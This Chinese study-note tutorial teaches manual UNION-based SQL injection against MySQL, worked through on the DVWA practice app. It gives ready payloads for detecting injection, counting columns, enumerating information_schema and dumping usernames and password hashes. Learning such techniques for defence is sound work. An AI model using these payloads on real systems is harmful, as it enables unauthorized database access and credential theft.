MySql教程

学习笔记十二:MySQL手注之联合查询注入

本文主要是介绍学习笔记十二:MySQL手注之联合查询注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

原理

union select 联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。

Union联合查询注入基本流程

1.判断是否存在注入(数字型还是字符型)

方法一:单引号法

'

方法二:逻辑法

and 1=1

and 1=2

1' and '1'='1

1' and '1'='2

方法三:运算法

-1

-0

2.猜解表名

常见的敏感表名

admin

user

admin_userinfo

system

vipuser

a_admin

xxx_admin

……

3.猜解字段数

order by xx    //xx是一个数字,表示你所猜的字段数

4.猜解字段名

常见的敏感字段名

username

password

admin_username

admin_password

……

5.获取数据

union select 1,2,3... from xx

MySQL手注之联合查询注入步骤详解

1.判断是否存在注入,注入类型是数字型还是字符型

输入ID为1'时出现提示You have an error in your SQL……to use near  ''1''  at line 1

       此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1''

输入ID为1' and '1' = '1时,返回了ID:1' and '1' = '1  First name:admine 和Surname: admin

       此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'

输入ID为1' or '1' = '1时,界面将所有用户信息(ID,First name,Surname)都显示出来

       此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'

若以上实验过程成功的话,就可以说明存在字符型注入

2.猜解字段数

若输入ID为1' order by 2 #时,界面返回ID:1' order by 2 #    First name:admin    Surname:admin

而当输入ID为1' order by 3 #时,页面返回Unknown column '3' in 'order clause'

这就说明SQL语句查询的表的字段数是2

3.联合查询

获取当前数据库和数据库用户名

1' union select database(),user() #

获取当前的数据库版本和操作系统

1' union select version(),@@version_compile_os#

获取数据

在此之前我们需要判断MySQL的版本。因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;当MySQL版本⼤于 5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

获取数据表名

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

获取表中的列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

获取数据

1' union select user,password from users#

这篇关于学习笔记十二:MySQL手注之联合查询注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!